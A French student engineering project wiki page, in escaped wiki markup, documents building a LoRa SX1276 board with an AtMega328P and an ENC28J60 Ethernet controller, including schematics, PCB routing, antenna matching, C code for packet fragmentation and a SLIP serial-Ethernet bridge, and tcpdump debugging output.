&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa avec des résistances de 220 Ω.&lt;br /&gt;
&lt;br /&gt;
Pour la réalisation de la carte, nous utiliserons un adaptateurs de niveaux.&lt;br /&gt;
&lt;br /&gt;
// photo tx0108&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Après configurations des registres pour la modulation LoRa, nous avons alors écrit le code pour gérer l'émission et la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Server (chargé de l'émission)-----&lt;br /&gt;
&lt;br /&gt;
Les registres sont configurés en mode 'Sleep'.  Ensuite on remplit le buffer FIFO des données à transmettre. &lt;br /&gt;
Pour effectuer une transmission,il faut d'abord faire une demande du mode de transmission (en d'autres mots configurer le registre des modes du sx1276), car lorsque la transmission est effectuée le sx1276 se met automatiquement en mode sleep.&lt;br /&gt;
A la fin de la transmission, l'interruption TXDone est levée.&lt;br /&gt;
&lt;br /&gt;
Voici le code :&lt;br /&gt;
int main() {&lt;br /&gt;
        mode                    = 0x01;&lt;br /&gt;
        Freq_Sel                = 0x00;&lt;br /&gt;
        Power_Sel               = 0x00;&lt;br /&gt;
        Lora_Rate_Sel           = 0x01;&lt;br /&gt;
        BandWide_Sel            = 0x08;&lt;br /&gt;
        Fsk_Rate_Sel            = 0x00;&lt;br /&gt;
        init_printf();&lt;br /&gt;
        spi_init();&lt;br /&gt;
        setup();&lt;br /&gt;
        printf(&amp;quot;####################\nLoRa-Server\n####################\n&amp;quot;);&lt;br /&gt;
        sx1276_Config();&lt;br /&gt;
        int T = 84;&lt;br /&gt;
        int loopCnt = 0;&lt;br /&gt;
        unsigned char paquet[T];&lt;br /&gt;
        unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
        unsigned char m=0;&lt;br /&gt;
        unsigned char inc;&lt;br /&gt;
        unsigned char i;&lt;br /&gt;
        int left;&lt;br /&gt;
        while(1)&lt;br /&gt;
        {&lt;br /&gt;
                for (i=0;i&amp;lt;T;i++) paquet[i] = (0x61 + i+ loopCnt);&lt;br /&gt;
                sx1276_Mode();&lt;br /&gt;
                left=T;&lt;br /&gt;
                inc=0;&lt;br /&gt;
                while(1){&lt;br /&gt;
                        if(left&amp;gt;=MAX_FRAGMENT) m=MAX_FRAGMENT; else m=left;&lt;br /&gt;
                        left=left-m;&lt;br /&gt;
                        for(i=0;i&amp;lt;m;i++){&lt;br /&gt;
                                fragment[i] = paquet[i+inc*MAX_FRAGMENT];&lt;br /&gt;
                        }&lt;br /&gt;
                        inc++;&lt;br /&gt;
                        fragment[m] = ((left&amp;lt;=0)?0x40:0x00)|inc;&lt;br /&gt;
                         sx1276_LoRaEntryTx(m+1);&lt;br /&gt;
                        sx1276_LoRaTxPacket(fragment,m+1);&lt;br /&gt;
                        //digitalWrite(led,1);&lt;br /&gt;
                        _delay_ms(50);&lt;br /&gt;
                        //printf(&amp;quot;Messages being transmitted\n&amp;quot;);&lt;br /&gt;
                        for (i=0;i&amp;lt;m+1;i++){&lt;br /&gt;
                                printf(&amp;quot;%02x &amp;quot;,fragment[i]);&lt;br /&gt;
                                if(i%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                        printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        if(left&amp;lt;=0) break;&lt;br /&gt;
                        digitalWrite(led, 0);&lt;br /&gt;
                        loopCnt++;&lt;br /&gt;
                        //printf(&amp;quot;.............................\n&amp;quot;);&lt;br /&gt;
                       }&lt;br /&gt;
        }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Client (chargé de la réception)-----&lt;br /&gt;
&lt;br /&gt;
De la même manière que pour l'émetteur, nous configurons le mode de reception continu.Lorsqu'un paquet est reçu, une interruption RxDone est levée et la pile FIFO peut être remplie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
  mode                  = 0x01;&lt;br /&gt;
  Freq_Sel              = 0x00;&lt;br /&gt;
  Power_Sel             = 0x00;&lt;br /&gt;
  Lora_Rate_Sel         = 0x01;&lt;br /&gt;
  BandWide_Sel          = 0x08;&lt;br /&gt;
  Fsk_Rate_Sel          = 0x00;&lt;br /&gt;
  init_printf();&lt;br /&gt;
  spi_init();&lt;br /&gt;
  setup();&lt;br /&gt;
  BlinkLed();&lt;br /&gt;
  printf(&amp;quot;\n\nHello I am LoRa Client\nWaiting for RX packet\n&amp;quot;);&lt;br /&gt;
  sx1276_Config();&lt;br /&gt;
  sx1276_LoRaEntryRx(MAX_FRAGMENT+1);&lt;br /&gt;
  unsigned char trameEthernet[MAX_ETHERNET];&lt;br /&gt;
 while(1) {&lt;br /&gt;
    unsigned char packet_size;&lt;br /&gt;
    unsigned char taille=0;&lt;br /&gt;
    unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
    unsigned char i=0;&lt;br /&gt;
    unsigned char j=0;&lt;br /&gt;
    //sx1276_infos();&lt;br /&gt;
        if((packet_size=sx1276_LoRaRxPacket(fragment))!=0){&lt;br /&gt;
        unsigned char var=fragment[packet_size-1];&lt;br /&gt;
        unsigned char num_packet = (var&amp;amp;0x3F);&lt;br /&gt;
        unsigned char dernier_frag = (var&amp;amp;0xC0);&lt;br /&gt;
        int previous=(num_packet-1)*MAX_FRAGMENT;&lt;br /&gt;
        printf(&amp;quot;%d %d\n &amp;quot;,previous,packet_size);&lt;br /&gt;
        for(i=0;i&amp;lt;packet_size-1;i++) trameEthernet[previous+i]=fragment[i];&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
                for (j=0; j&amp;lt;taille; j++) {&lt;br /&gt;
                        printf(&amp;quot;%02x &amp;quot;,trameEthernet[j]);&lt;br /&gt;
                        if(j%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
 }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant, la modulation LoRa dépend fortement du facteur d'étalement, de la bande passante, et des données à envoyer. Le facteur d'étalement SF= 6 (spread factor) nécessite une configuration particulière des registres. &lt;br /&gt;
&lt;br /&gt;
NB : En mode LoRa, le nombre maximal d'octets qui peut être envoyé est de 255 octets. Ceci nous a conduit à fragmenter les paquets à envoyer(ou recevoir). Les données seront ensuite assemblés à la réception (côté Ethernet).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fragmentation des paquets LoRa&lt;br /&gt;
&lt;br /&gt;
Nous avons été confrontées au problème de taille maximale que pouvait transmettre le LoRa (nettement inférieure à la taille maximale du paquet Ethernet, pouvant aller jusqu’à 1500 octets).&lt;br /&gt;
&lt;br /&gt;
Le principe est de stocker les fragments de paquets Ethernet (&amp;lt;255 octets) jusqu’à la reconstitution complète du paquet initial.&lt;br /&gt;
&lt;br /&gt;
Principe:&lt;br /&gt;
&lt;br /&gt;
Lorsque le client reçoit un paquet, il examine le dernier octet :&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 0 : il ne s’agit pas du dernier fragment. Le client stocke le paquet dans un tableau( file d’attente de tous les paquets)&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 1 : le client place le paquet en fin de file du tableau.&lt;br /&gt;
	&lt;br /&gt;
Le client considère la file d'attente complète quand il a placé le premier et le dernier fragment et tous les fragments intermédiaires vérifiés par leur numéro de fragment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------Résultats des tests-------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:Loraemission.png|thumb|upright=1|Emission|400px]]&lt;br /&gt;
|[[Fichier:Lorareception.png|thumb|upright=1|Reception|450px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
